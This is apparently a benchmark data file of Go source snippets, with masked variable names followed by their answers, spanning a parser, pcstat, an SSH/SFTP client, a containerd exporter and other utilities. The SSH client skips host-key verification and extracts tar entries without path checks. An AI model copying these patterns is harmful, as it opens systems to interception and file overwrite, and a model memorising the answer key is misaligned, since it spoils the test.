ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // package prattparser import ( ""bytes"" ""fmt"" ) type Parser struct { S Scanner L Lexed } func NewParser( [MASK] string) *Parser { return &Parser{S: Scanner{ [MASK] : bytes.NewBuffer([]byte( [MASK] ))}} } func (p *Parser) Parse() Expr { p.L = p.S.Scan() return p.expr(LowestPrec) } func (p *Parser) expr(rbp int) Expr { t := p.L p.L = p.S.Scan() var left Expr switch t.Tok { case ILLEGAL: panic(fmt.Sprintf(""Parse Error: %s"", t.Lit)) case LP: left = p.expr(0) if p.L.Tok != RP { panic(""Parse Error: expected )"") } p.L = p.S.Scan() default: switch true { case t.Tok.IsScalar(): left = ScalarExpr{Val: t.Lit, Typ: t.Tok} case t.Tok.IsUnary(): left = UnaryExpr{X: p.expr(HighestPrec), Op: t.Tok} } } // left binding power for rbp < p.L.Tok.Precedence() { t = p.L p.L = p.S.Scan() //left denotation switch true { case t.Tok.IsRightAssoc(): left = BinaryExpr{L: left, Op: t.Tok, R: p.expr(t.Tok.Precedence() - 1)} case t.Tok.IsLeftAssoc(): left = BinaryExpr{L: left, Op: t.Tok, R: p.expr(t.Tok.Precedence())} } } return left } ",src 320,"package main /* * Copyright 2015-2017 <> @AlTobey * * Licensed under the Apache License, Version 2.0 (the ""License""); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * pcstat.go - page cache stat * * uses the mincore(2) syscall to find out which pages (almost always 4k) * of a file are currently cached in memory * */ import ( ""encoding/json"" ""fmt"" ""log"" ""os"" ""strings"" pcstat ""github.com/tobert/pcstat/pkg"" ) type PcStatusList []pcstat.PcStatus func (stats PcStatusList) formatUnicode() { maxName := stats.maxNameLen() // create horizontal grid line pad := strings.Repeat(""─"", maxName+2) top := fmt.Sprintf(""┌%s┬────────────────┬────────────┬───────────┬─────────┐"", pad) hr := fmt.Sprintf(""├%s┼────────────────┼────────────┼───────────┼─────────┤"", pad) bot := fmt.Sprintf(""└%s┴────────────────┴────────────┴───────────┴─────────┘"", pad) fmt.Println(top) // -nohdr may be chosen to save 2 lines of precious vertical space if !nohdrFlag { pad = strings.Repeat("" "", maxName-4) fmt.Printf(""│ Name%s │ Size (bytes) │ Pages │ Cached │ Percent │\n"", pad) fmt.Println(hr) } for _, pcs := range stats { pad = strings.Repeat("" "", maxName-len(pcs.Name)) fmt.Printf(""│ %s%s │ %-15d│ %-11d│ %-10d│ %7.3f │\n"", pcs.Name, pad, pcs.Size, pcs.Pages, pcs.Cached, pcs.Percent) } fmt.Println(bot) } func (stats PcStatusList) formatText() { maxName := stats.maxNameLen() // create horizontal grid line pad := strings.Repeat(""-"", maxName+2) top := fmt.Sprintf(""+%s+----------------+------------+-----------+---------+"", pad) hr := fmt.Sprintf(""|%s+----------------+------------+-----------+---------|"", pad) bot := fmt.Sprintf(""+%s+----------------+------------+-----------+---------+"", pad) fmt.Println(top) // -nohdr may be chosen to save 2 lines of precious vertical space if !nohdrFlag { pad = strings.Repeat("" "", maxName-4) fmt.Printf(""| Name%s | Size (bytes) | Pages | Cached | Percent |\n"", pad) fmt.Println(hr) } for _, pcs := range stats { pad = strings.Repeat("" "", maxName-len(pcs.Name)) fmt.Printf(""| %s%s | %-15d| %-11d| %-10d| %7.3f |\n"", pcs.Name, pad, pcs.Size, pcs.Pages, pcs.Cached, pcs.Percent) } fmt.Println(bot) } func (stats PcStatusList) formatPlain() { maxName := stats.maxNameLen() // -nohdr may be chosen to save 2 lines of precious vertical space if !nohdrFlag { pad := strings.Repeat("" "", maxName-4) fmt.Printf(""Name%s Size (bytes) Pages Cached Percent\n"", pad) } for _, pcs := range stats { pad := strings.Repeat("" "", maxName-len(pcs.Name)) fmt.Printf(""%s%s %-15d %-11d %-10d %7.3f\n"", pcs.Name, pad, pcs.Size, pcs.Pages, pcs.Cached, pcs.Percent) } } func (stats PcStatusList) formatTerse() { if !nohdrFlag { fmt.Println(""name,size,timestamp,mtime,pages,cached,percent"") } for _, pcs := range stats { time := pcs.Timestamp.Unix() mtime := pcs.Mtime.Unix() fmt.Printf(""%s,%d,%d,%d,%d,%d,%g\n"", pcs.Name, pcs.Size, time, mtime, pcs.Pages, pcs.Cached, pcs.Percent) } } func (stats PcStatusList) formatJson(clearpps bool) { // clear the per-page status when requested // emits an empty ""status"": [] field in the JSON when disabled, but NBD. if clearpps { for i := range stats { stats[i].PPStat = nil } } b, err := json.Marshal(stats) if err != nil { log.Fatalf(""JSON formatting failed: %s\n"", err) } os.Stdout.Write(b) fmt.Println("""") } // references: // http://www.unicode.org/charts/PDF/U2580.pdf // https://github.com/puppetlabs/mcollective-puppet-agent/blob/master/application/puppet.rb#L143 // https://github.com/holman/spark func (stats PcStatusList) formatHistogram() { ws := getwinsize() maxName := stats.maxNameLen() // block elements are wider than characters, so only use 1/2 the available columns [MASK] := (int(ws.ws_col)-maxName)/2 - 10 for _, pcs := range stats { pad := strings.Repeat("" "", maxName-len(pcs.Name)) fmt.Printf(""%s%s % 8d "", pcs.Name, pad, pcs.Pages) // when there is enough room display on/off for every page if [MASK] > pcs.Pages { for _, v := range pcs.PPStat { if v { fmt.Print(""\u2588"") // full block = 100% } else { fmt.Print(""\u2581"") // lower 1/8 block } } } else { bsz := pcs.Pages / [MASK] fbsz := float64(bsz) total := 0.0 for i, v := range pcs.PPStat { if v { total++ } if (i+1)%bsz == 0 { avg := total / fbsz if total == 0 { fmt.Print(""\u2581"") // lower 1/8 block = 0 } else if avg < 0.16 { fmt.Print(""\u2582"") // lower 2/8 block } else if avg < 0.33 { fmt.Print(""\u2583"") // lower 3/8 block } else if avg < 0.50 { fmt.Print(""\u2584"") // lower 4/8 block } else if avg < 0.66 { fmt.Print(""\u2585"") // lower 5/8 block } else if avg < 0.83 { fmt.Print(""\u2586"") // lower 6/8 block } else if avg < 1.00 { fmt.Print(""\u2587"") // lower 7/8 block } else { fmt.Print(""\u2588"") // full block = 100% } total = 0 } } } fmt.Println("""") } } /* // convert long paths to their basename with the -bname flag // this overwrites the original filename in pcs but it doesn't matter since // it's not used to access the file again -- and should not be! if bnameFlag { pcs.Name = path.Base(fname) } */ // maxNameLen returns the len of longest filename in the stat list // if the bnameFlag is set, this will return the max basename len func (stats PcStatusList) maxNameLen() int { var maxName int for _, pcs := range stats { if len(pcs.Name) > maxName { maxName = len(pcs.Name) } } if maxName < 5 { maxName = 5 } return maxName } ",buckets 321,"package ssh_client import ( ""archive/tar"" ""bufio"" ""bytes"" ""compress/gzip"" ""context"" ""encoding/base64"" ""errors"" ""fmt"" ""github.com/pkg/sftp"" ""golang.org/x/crypto/ssh"" ""io"" ""io/ioutil"" ""k8s.io/apimachinery/pkg/util/uuid"" ""log"" ""net"" ""net/http"" ""os"" ""path"" ""path/filepath"" ""regexp"" ""strings"" ""text/template"" ""time"" ) type Client struct { SshClient *ssh.Client SftpClient *sftp.Client Config Config Stdout io.Writer Stderr io.Writer } type Config struct { Hostname string `yaml:""hostname""` Username string `yaml:""username""` Password string `yaml:""""` PrivateKey string `yaml:""-""` AuthType string `yaml:""-""` Role string `yaml:""-""` Ip string `yaml:""ip""` Port int `yaml:""port""` KeyExchanges []string `yaml:""-""` Timeout int `yaml:""-""` } const ( AuthTypePassword = """" AuthTypeKey = ""key"" ) const ( CONNECTION_TIMEOUT = 15 * time.Second TEXT_MAX_FILE_SIZE = 3 * 1024 * 1024 ) const ( TypeDirectory = 1 TypeFile = iota ) type OptionFunc func(c *Client) func WithStdout(stdout io.Writer) OptionFunc { return func(c *Client) { c.Stdout = stdout } } func WithStderr(stderr io.Writer) OptionFunc { return func(c *Client) { c.Stderr = stderr } } func NewClient(config Config, optFunc ...OptionFunc) (*Client, error) { c := &Client{ Config: config, } for _, of := range optFunc { of(c) } if err := c.connect(); err != nil { return nil, err } return c, nil } func (c *Client) connect() error { if c.SshClient != nil { _, _, err := c.SshClient.SendRequest(""keepalive"", false, nil) if err == nil { return nil } } var auth ssh.AuthMethod if c.Config.AuthType == """" { auth = ssh.Password(c.Config.Password) } switch c.Config.AuthType { case AuthTypePassword: auth = ssh.Password(c.Config.Password) case AuthTypeKey: b, err := base64.StdEncoding.DecodeString(c.Config.PrivateKey) if err != nil { return err } signer, err := ssh.ParsePrivateKey(b) if err != nil { return fmt.Errorf(""ssh parse private key: %w"", err) } auth = ssh.PublicKeys(signer) } cfg := &ssh.ClientConfig{ User: c.Config.Username, Auth: []ssh.AuthMethod{ auth, }, HostKeyCallback: func(string, net.Addr, ssh.PublicKey) error { return nil }, Timeout: CONNECTION_TIMEOUT, Config: ssh.Config{ KeyExchanges: c.Config.KeyExchanges, }, } sshClient, err := ssh.Dial(""tcp"", fmt.Sprintf(""%v:%v"", c.Config.Ip, c.Config.Port), cfg) if err != nil { return fmt.Errorf(""ssh dial: %w"", err) } c.SshClient = sshClient sftpClient, err := sftp.NewClient(sshClient) if err != nil { return fmt.Errorf(""sftp new client: %w"", err) } c.SftpClient = sftpClient return nil } func (c *Client) Command(command string) (output string, err error) { if err := c.connect(); err != nil { return """", err } session, err := c.SshClient.NewSession() if err != nil { return """", err } defer session.Close() if c.Config.Timeout <= 10 { var combinedOutput []byte combinedOutput, err = session.CombinedOutput(command) output = string(combinedOutput) } else { timeout := time.Duration(c.Config.Timeout) * time.Second ctx, cancel := context.WithTimeout(context.Background(), timeout) go func() { err = session.Run(command) if err != nil { log.Println(""host:"" + c.Config.Ip + ""exec error:"" + err.Error() + "",command:"" + command) } cancel() }() select { case <-ctx.Done(): case <-time.After(timeout): return """", errors.New(""exec command timeout"") } stdoutBuffer := new(bytes.Buffer) stderrBuffer := new(bytes.Buffer) stdoutWrites := make([]io.Writer, 0) stderrWrites := make([]io.Writer, 0) stdoutWrites = append(stdoutWrites, io.Writer(stdoutBuffer)) stderrWrites = append(stderrWrites, io.Writer(stderrBuffer)) if c.Stdout != nil { stdoutWrites = append(stdoutWrites, c.Stdout) } if c.Stderr != nil { stderrWrites = append(stderrWrites, c.Stderr) } session.Stdout = io.MultiWriter(stdoutWrites...) session.Stderr = io.MultiWriter(stderrWrites...) output = stdoutBuffer.String() if err != nil { //output = stderrBuffer.String() return } } output = strings.TrimRight(output, ""\n"") return } func (c *Client) Exists(filename string) bool { if _, err := c.SftpClient.Stat(filename); err == nil { return true } else { return false } } func (c *Client) WriteToFile(filename string, data []byte, force bool, mod os.FileMode) error { if err := c.connect(); err != nil { return err } if c.Exists(filename) && force { err := c.SftpClient.Remove(filename) if err != nil { return err } } f, err := c.SftpClient.Create(filename) if err != nil { return err } err = c.SftpClient.Chmod(filename, mod) if err != nil { return err } defer f.Close() if _, err = f.Write(data); err != nil { return err } return nil } func (c *Client) RenderTemplate(templateFile, destFile string, data interface{}, force bool, mode os.FileMode) error { tmplContent, err := ioutil.ReadFile(templateFile) if err != nil { return err } tmpl, err := template.New(templateFile).Funcs(TemplateFuncMap).Parse(string(tmplContent)) if err != nil { return err } var buf bytes.Buffer if err = tmpl.Execute(&buf, data); err != nil { return err } err = c.WriteToFile(destFile, buf.Bytes(), force, mode) if err != nil { return err } return nil } func (c *Client) CopyFile(localFilePath, remoteFilePath string, force bool, mode os.FileMode) error { if err := c.connect(); err != nil { return err } src, err := os.Open(localFilePath) if err != nil { return err } defer src.Close() _, err = src.Stat() if err != nil { return err } if c.Exists(remoteFilePath) && force { err = c.SftpClient.Remove(remoteFilePath) if err != nil { return err } } dirPath := path.Dir(remoteFilePath) if !c.Exists(dirPath) { err := c.SftpClient.MkdirAll(dirPath) if err != nil { return err } } dst, err := c.SftpClient.Create(remoteFilePath) if err != nil { return err } defer dst.Close() _, err = io.Copy(dst, src) if err != nil { return err } err = c.SftpClient.Chmod(remoteFilePath, mode) if err != nil { return err } return nil } func (c *Client) readRemoteFile(path string) (*sftp.File, error) { if !c.Exists(path) { return nil, errors.New(""file not found"") } dst, err := c.SftpClient.Open(path) if err != nil { return nil, err } return dst, nil } func (c *Client) FetchFile(remoteFilePath string, localPath string, force bool) error { if err := c.connect(); err != nil { return err } dst, err := c.readRemoteFile(remoteFilePath) if err != nil { return err } stat, err := dst.Stat() if err != nil { return err } localPath = filepath.Join(localPath, stat.Name()) dir := filepath.Dir(localPath) stat, err = os.Stat(dir) if err != nil { err = os.Mkdir(dir, 0754) if err != nil { return err } } if force { _, err = os.Stat(localPath) if err == nil { err := os.Remove(localPath) if err != nil { return err } } } src, err := os.OpenFile(localPath, os.O_CREATE|os.O_WRONLY|os.O_RDONLY, 0754) if err != nil { return err } defer src.Close() _, err = io.Copy(src, dst) if err != nil { return err } return nil } func (c *Client) pathExists(path string) (bool, error) { _, err := os.Stat(path) if err == nil { return true, nil } if os.IsNotExist(err) { return false, nil } return false, err } func (c *Client) MkDirs(perm os.FileMode, dirs ...string) { for _, dir := range dirs { exists, _ := c.pathExists(dir) if !exists { err := os.MkdirAll(dir, perm) if err != nil { return } } } } func (c *Client) Unarchive(localFilePath string, remoteDir string, mode os.FileMode, force bool) error { if err := c.connect(); err != nil { return err } session, err := c.SshClient.NewSession() if err != nil { return err } defer session.Close() tmpDir := fmt.Sprintf(""/tmp/%v"", uuid.NewUUID()) c.MkDirs(os.ModePerm, tmpDir) //defer func() { // _ = os.RemoveAll(tmpDir) //}() fileList, err2 := c.DeCompress(localFilePath, tmpDir) if err2 != nil { return err2 } for _, filename := range fileList { err = c.CopyFile(path.Join(tmpDir, filename), path.Join(remoteDir, filename), force, mode) if err != nil { return err } } return nil } func (c *Client) Systemd(name string, state string, enable bool) error { if err := c.connect(); err != nil { return err } sysctlCmd := ""systemctl %v %v"" switch state { case ""stop"": sysctlCmd = fmt.Sprintf(sysctlCmd, ""stop"", name) case ""start"": sysctlCmd = fmt.Sprintf(sysctlCmd, ""start"", name) case ""restart"": sysctlCmd = fmt.Sprintf(sysctlCmd, ""restart"", name) default: return errors.New(""state is not supported"") } _, err := c.Command(sysctlCmd) if err != nil { return err } if enable { _, err = c.Command(fmt.Sprintf(""systemctl enable %v"", name)) if err != nil { return err } } else { _, err = c.Command(fmt.Sprintf(""systemctl disable %v"", name)) if err != nil { return err } } return nil } func (c *Client) Yum(name string) error { if err := c.connect(); err != nil { return err } _, err := c.Command(fmt.Sprintf(""yum -y install %v"", name)) if err != nil { return err } return nil } func (c *Client) Replace(path, pattern, replace string) error { if err := c.connect(); err != nil { return err } file, err := c.readRemoteFile(path) if err != nil { return err } defer file.Close() stat, err := file.Stat() if err != nil { return err } if stat.IsDir() { return errors.New(""the path is dir"") } if stat.Size() > TEXT_MAX_FILE_SIZE { return errors.New(""the file is exceed the limit"") } fileContent, err := ioutil.ReadAll(file) if err != nil { return err } re, err := regexp.Compile(pattern) if err != nil { return err } result := re.ReplaceAllString(string(fileContent), replace) err = c.WriteToFile(path, []byte(result), true, stat.Mode()) if err != nil { return err } return nil } func (c *Client) RemoveFile(filename string) error { if c.Exists(filename) { err := c.SftpClient.Remove(filename) if err != nil { return err } } return nil } func (c *Client) LineInFile(path string, pattern string, insert string, line string, state string) error { if err := c.connect(); err != nil { return err } file, err := c.readRemoteFile(path) if err != nil { return err } defer file.Close() stat, err := file.Stat() if err != nil { return err } if stat.IsDir() { return errors.New(""the path is dir"") } fileScanner := bufio.NewScanner(file) fileScanner.Split(bufio.ScanLines) buff := new(bytes.Buffer) var text string if insert != """" { tmp := new(bytes.Buffer) _, err := file.WriteTo(tmp) if err != nil { return err } s := tmp.String() if strings.Index(s, line) != -1 { return nil } fileScanner = bufio.NewScanner(tmp) fileScanner.Split(bufio.ScanLines) flag := false for fileScanner.Scan() { text = fileScanner.Text() ok, err := regexp.MatchString(insert, text) if err != nil { fmt.Println(err) } buff.Write([]byte(text + ""\n"")) if ok && !flag { buff.Write([]byte(line + ""\n"")) flag = true } } } else { if pattern == """" { return errors.New(""pattern is empty"") } for fileScanner.Scan() { text = fileScanner.Text() ok, err := regexp.MatchString(pattern, text) if err != nil { fmt.Println(err) } if !ok { buff.Write([]byte(text + ""\n"")) } } switch state { case ""absent"": case ""present"": buff.Write([]byte(line)) } } if len(buff.Bytes()) <= 0 { return nil } err = c.WriteToFile(path, buff.Bytes(), true, stat.Mode()) if err != nil { return err } return nil } func (c *Client) CreatePath(path string, fileType string, mode os.FileMode, owner string, group string) error { if err := c.connect(); err != nil { return err } if !c.Exists(path) { switch fileType { case ""directory"": err := c.SftpClient.MkdirAll(path) if err != nil { return err } case ""file"": _, err := c.SftpClient.Create(path) if err != nil { return err } } err := c.SftpClient.Chmod(path, mode) if err != nil { return err } _, err = c.Command(fmt.Sprintf(""chown -R %v:%v %v"", owner, group, path)) if err != nil { return err } } return nil } func (c *Client) DeCompress( [MASK] , dest string) ([]string, error) { var fileList []string srcFile, err := os.Open( [MASK] ) if err != nil { return nil, err } defer srcFile.Close() mimeType := c.getMimeType(srcFile) switch mimeType { case ""application/x-gzip"": srcFile.Seek(0, os.SEEK_SET) gr, err := gzip.NewReader(srcFile) if err != nil { return nil, err } defer gr.Close() fileList, err = c.deTarCompress(gr, dest) case ""application/octet-stream"": srcFile.Seek(0, os.SEEK_SET) fileList, err = c.deTarCompress(srcFile, dest) } return fileList, nil } func (c *Client) deTarCompress(srcFile io.Reader, dest string) ([]string, error) { fileList := make([]string, 0) tr := tar.NewReader(srcFile) for { hdr, err := tr.Next() if err != nil { if err == io.EOF { break } else { return nil, err } } filename := dest + ""/"" + hdr.Name file, err := c.createFile(filename) if err != nil { continue } io.Copy(file, tr) fileList = append(fileList, hdr.Name) file.Close() } return fileList, nil } func (c *Client) createFile(name string) (*os.File, error) { path := string([]rune(name)[0:strings.LastIndex(name, ""/"")]) err := os.MkdirAll(path, 0755) if err != nil { return nil, err } return os.Create(name) } func (c *Client) getMimeType(f *os.File) string { buffer := make([]byte, 512) _, _ = f.Read(buffer) contentType := http.DetectContentType(buffer) return contentType } func (c *Client) Close() { if c.SshClient != nil { c.SshClient.Close() } if c.SftpClient != nil { c.SftpClient.Close() } } ",tarFile 322,"package main import ( ""flag"" sPlugin ""github.com/xenolog/go-play-with-plugins/main/plugin"" logger ""gopkg.in/xenolog/go-tiny-logger.v1"" ""os"" ""plugin"" ) var version string // this string setting up at compile time func main() { var ( SetValue bool [MASK] string Value string Meta string PluginFileName string // pingTimeout int // err error ) // config := utils.GetOrCreateConfig() log := logger.New() flag.StringVar(& [MASK] , ""key"", """", ""key in the tree"") flag.StringVar(&Value, ""val"", """", ""value of key"") flag.StringVar(&PluginFileName, ""plugin"", """", ""Path to storage plugin binary"") flag.StringVar(&Meta, ""meta"", """", ""Metadata, which will be passed to plugin"") // flag.BoolVar(&SetValue, """", false, ""Control initialization kubernetes client set for connectivity check"") flag.Parse() log.Info(""Version: %s"", version) if Value == """" { SetValue = true } // Load plugin from file plg, err := plugin.Open(PluginFileName) if err != nil { log.Fail(""%s"", err) os.Exit(1) } plgFabric, err := plg.Lookup(""New"") if err != nil { log.Fail(""%s"", err) os.Exit(1) } storage := plgFabric.(func() sPlugin.StoragePlugin)() storage.Init(log, Meta) log.Info(""PL: %s"", storage.Ping()) if SetValue { // set value of ... } } ",KeyName 323,"// Copyright 2023 The Kubernetes Authors. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. //go:build linux && amd64 package cmd import ( ""context"" ""fmt"" ""net/http"" ""os"" ""sync"" ""time"" ""github.com/containerd/containerd"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ""github.com/sirupsen/logrus"" log ""github.com/sirupsen/logrus"" ""github.com/spf13/cobra"" ""sigs.k8s.io/usage-metrics-collector/pkg/ctrstats"" ) var ( address string namespace string serverPort string logLevel string rootCmd = &cobra.Command{ Use: ""container-monitor"", Short: ""tool for exporting container stats in prometheus format from containers using task service API"", RunE: RunE, } ) var ( monitorLog = logrus.WithField(""source"", ""container-monitor"") promNamespaceMonitor = ""ctr_stats_gatherer"" scrapeCount = prometheus.NewCounter(prometheus.CounterOpts{ Namespace: promNamespaceMonitor, Name: ""scrape_count_total"", Help: ""total scape count."", }) scrapeDurationsHistogram = prometheus.NewHistogram(prometheus.HistogramOpts{ Namespace: promNamespaceMonitor, Name: ""scrape_durations_milliseconds"", Help: ""Time used to scrape from shims"", Buckets: prometheus.ExponentialBuckets(1, 2, 10), }) ) type Collector struct { metrics []*ctrstats.Metric client *containerd.Client } func newCollector(address, namespace string) (*Collector, error) { monitorLog.WithFields(log.Fields{ ""containerd address"": address, ""namespace"": namespace, }).Info(""creating new collector"") client, err := ctrstats.NewContainerdClient(address, namespace) if err != nil { monitorLog.WithError(err).Errorf(""failure to create new containerd client"") return nil, err } c := &Collector{ client: client, } // TODO: scrub the metric names, usage so it matches what we have in CAdvisor* c.metrics = append(c.metrics, ctrstats.CpuMetrics...) c.metrics = append(c.metrics, ctrstats.MemoryMetrics...) return c, nil } func (collector *Collector) cleanup() { if collector.client != nil { collector.client.Close() } } func (collector *Collector) Describe(ch chan<- *prometheus.Desc) { for _, m := range collector.metrics { ch <- m.Desc() } } func (collector *Collector) Collect(ch chan<- prometheus.Metric) { start := time.Now() scrapeCount.Inc() defer func() { scrapeDurationsHistogram.Observe(float64(time.Since(start).Nanoseconds() / int64(time.Millisecond))) }() // Get list of containers, and then from these, get the actual stats // that we'll want to send back containers, err := ctrstats.GetContainers(collector.client) if err != nil { monitorLog.WithError(err).Error(""failed to get list of containers from containerd"") return } wg := &sync.WaitGroup{} for _, c := range containers { wg.Add(1) go func(c ctrstats.Container, results chan<- prometheus.Metric) { stats, err := ctrstats.GetContainerStatsV1(context.Background(), c) if err != nil { monitorLog.WithFields(log.Fields{ ""container"": c.ContainerID, }).WithError(err).Info(""failed to get container stats - likely an issue with non-running containers being tracked in containerd state"") } else if stats != nil { for _, m := range collector.metrics { metric := m.GetValues(stats) results <- prometheus.MustNewConstMetric( m.Desc(), m.Vt, metric.V, append([]string{c.ContainerName, c.SandboxNamespace, c.PodName}, metric.L...)...) } } wg.Done() }(c, ch) } wg.Wait() } func initLog(level string) { [MASK] := log.WithFields(log.Fields{ ""name"": ""container-monitor"", ""pid"": os.Getpid(), }) // set log level, default to warn logLevel, err := log.ParseLevel(level) if err != nil { logLevel = log.WarnLevel } [MASK] .Logger.SetLevel(logLevel) [MASK] .Logger.Formatter = &log.TextFormatter{TimestampFormat: time.RFC3339Nano} monitorLog = [MASK] } func RunE(cmd *cobra.Command, args []string) error { initLog(logLevel) collector, err := newCollector(address, namespace) if err != nil { return err } defer collector.cleanup() prometheus.MustRegister(collector) http.Handle(""/metrics"", promhttp.Handler()) monitorLog.Infof(""starting to serve prometheus endpoint at 0.0.0.0:%s/metrics"", serverPort) return http.ListenAndServe(fmt.Sprintf("":%s"", serverPort), nil) } func Execute(version, commit, date string) { log.Info(""Build info"", ""version"", version, ""commit"", commit, ""date"", date) rootCmd.Flags().StringVarP(&address, ""address"", ""a"", ""/run/containerd/containerd.sock"", ""path to the containerd socket"") rootCmd.Flags().StringVarP(&namespace, ""namespace"", ""n"", ""default"", ""the namespace to get container stats from"") rootCmd.Flags().StringVarP(&serverPort, ""server-port"", ""p"", ""8090"", ""The address the server listens on for HTTP requests."") rootCmd.Flags().StringVar(&logLevel, ""log-level"", ""warn"", ""Logging level (trace/debug/info/warn/error/fatal/panic)."") if err := rootCmd.Execute(); err != nil { fmt.Fprintln(os.Stderr, err) os.Exit(1) } } ",containerMonitorLog 324,"package boilerplate import ( ""fmt"" ""io"" ""strings"" ) type ProcessFunc[T any, U any] func(in []T) (out []U) type SliceScanner[U any] func() (out []U, err error) // WithLengthAndSliceScanner returns a closure that reads an integer n from reader followed by n elements of type U. // The closure returns a slice of U containing the n elements. func WithLengthAndSliceScanner[U any](reader io.Reader) SliceScanner[U] { return func() ([]U, error) { var n uint _, err := fmt.Fscan(reader, &n) if err != nil { return nil, fmt.Errorf(""failed to scan n: %w"", err) } elems := make([]U, n) for i := range n { _, err = fmt.Fscan(reader, &elems[i]) if err != nil { var zero U return nil, fmt.Errorf(""failed to read element type=%T i=%d: %w"", zero, i, err) } } return elems, nil } } // WithSliceScanner returns a closure that reads n elements of type U and returns them in a slice. func WithSliceScanner[U any](reader io.Reader) SliceScanner[U] { return func() ([]U, error) { var elems []U for i := 0; ; i++ { var elem U _, err := fmt.Fscan(reader, &elem) if err == io.EOF { return elems, nil } if err != nil { var zero U return nil, fmt.Errorf(""failed to read element type=%T i=%d: %w"", zero, i, err) } elems = append(elems, elem) } } } type SlicePrinter[U any] func(out []U) func WithSlicePrinter[U any](out []U) { [MASK] := make([]string, len(out)) for i, val := range out { [MASK] [i] = fmt.Sprint(val) } fmt.Println(strings.Join( [MASK] , "" "")) } func ScanProcessPrint[T any, U any](f ProcessFunc[T, U], r SliceScanner[T], w SlicePrinter[U]) error { in, err := r() if err != nil { return fmt.Errorf(""failed to read input: %w"", err) } out := f(in) w(out) return nil } func WithTestCases(f func() error, reader io.Reader) error { var n uint _, err := fmt.Fscan(reader, &n) if err != nil { return fmt.Errorf(""failed to scan n test cases: %w"", err) } for i := range n { if err = f(); err != nil { return fmt.Errorf(""failed to process test case i=%d: %w"", i, err) } } return nil } ",strOut 325,"package main import ( ""context"" ""fmt"" ""os"" ""github.com/opentracing/opentracing-go"" ""github.com/opentracing/opentracing-go/log"" ""github.com/yurishkuro/opentracing-tutorial/go/lib/tracing"" ) func main() { if len(os.Args) != 2 { panic(""ERROR: Expecting one argument"") } [MASK] , closer := tracing.Init(""hello-world"") defer closer.Close() opentracing.SetGlobalTracer( [MASK] ) helloTo := os.Args[1] span := [MASK] .StartSpan(""say-hello"") span.SetTag(""hello-to"", helloTo) defer span.Finish() ctx := opentracing.ContextWithSpan(context.Background(), span) helloStr := formatString(ctx, helloTo) printHello(ctx, helloStr) } func formatString(ctx context.Context, helloTo string) string { span, _ := opentracing.StartSpanFromContext(ctx, ""formatString"") defer span.Finish() helloStr := fmt.Sprintf(""Hello, %s!"", helloTo) span.LogFields( log.String(""event"", ""string-format""), log.String(""value"", helloStr), ) return helloStr } func printHello(ctx context.Context, helloStr string) { span, _ := opentracing.StartSpanFromContext(ctx, ""printHello"") defer span.Finish() println(helloStr) span.LogKV(""event"", ""println"") } ",tracer 326,"/* Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sviddisk import ( ""errors"" ""fmt"" ""io/ioutil"" ""os"" ""path"" ""time"" ""github.com/spiffe/go-spiffe/v2/svid/x509svid"" ) const ( certsFileMode = os.FileMode(0o644) keyFileMode = os.FileMode(0o600) certsFileName = ""tls.crt"" keyFileName = ""tls.key"" ) // WriteToDisk takes a X509SVIDResponse, representing a svid message from the Workload API // and write the certs to disk func WriteToDisk(svid *x509svid.SVID, dir string) error { certsFile := path.Join(dir, certsFileName) keyFile := path.Join(dir, keyFileName) pemCerts, pemKey, err := svid.Marshal() if err != nil { return fmt.Errorf(""unable to marshal X.509 SVID: %w"", err) } if err := ioutil.WriteFile(certsFile, pemCerts, certsFileMode); err != nil { return fmt.Errorf(""error writing certs file: %w"", err) } if err := ioutil.WriteFile(keyFile, pemKey, keyFileMode); err != nil { return fmt.Errorf(""error writing key file: %w"", err) } return nil } // waitForCertificates waits up to 3 minutes for the certificate, key, and bundle // to be on disk. func WaitForCertificates(dir string) error { certsFile := path.Join(dir, certsFileName) keyFile := path.Join(dir, keyFileName) sleep := 500 * time.Millisecond [MASK] := 360 for i := 1; i <= [MASK] ; i++ { time.Sleep(sleep) if _, err := os.Stat(certsFile); err != nil { continue } if _, err := os.Stat(keyFile); err != nil { continue } return nil } return errors.New(""Timed out waiting for trust bundle"") } ",maxRetries 327,"package hid import ( ""github.com/hlib-go/snowflake"" ""math/big"" ""math/rand"" ""net"" ""strconv"" ""time"" ) var g *snowflake.Node func init() { n := getLocalIP() rand.Seed(n) g, _ = snowflake.NewNode(n % 31) } //ID SnowFlake 生成长度20位的数字编号 func ID() string { return g.Generate().String() + strconv.Itoa(rand.Intn(10)) } // 获取所有ip转int64后的和 func getLocalIP() (num int64) { var ( err error addrs []net.Addr addr net.Addr [MASK] *net.IPNet isIpNet bool ) defer func() { if e := recover(); e != nil { err = e.(error) } if err != nil || num == 0 { num = time.Now().UnixNano() } }() if addrs, err = net.InterfaceAddrs(); err != nil { return } for _, addr = range addrs { if [MASK] , isIpNet = addr.(*net.IPNet); isIpNet && ! [MASK] .IP.IsLoopback() { // 跳过IPV6 if [MASK] .IP.To4() != nil { var ipv4 = [MASK] .IP.String() // 192.168.1.1 num = num + inetAtoN(ipv4) } } } return } func inetAtoN(ip string) int64 { ret := big.NewInt(0) ret.SetBytes(net.ParseIP(ip).To4()) return ret.Int64() } ",ipNet 328,"package controllers import ( ""fmt"" ""modol-app/enums"" ""modol-app/handlers/auth"" ""modol-app/helpers"" ) /** * AuthController struct */ type AuthController struct {} /** * Handle the authentication process * * @return void */ func (ac AuthController) Login() bool { var NIM, password string isLogged := false fmt.Println(""=== Masuk 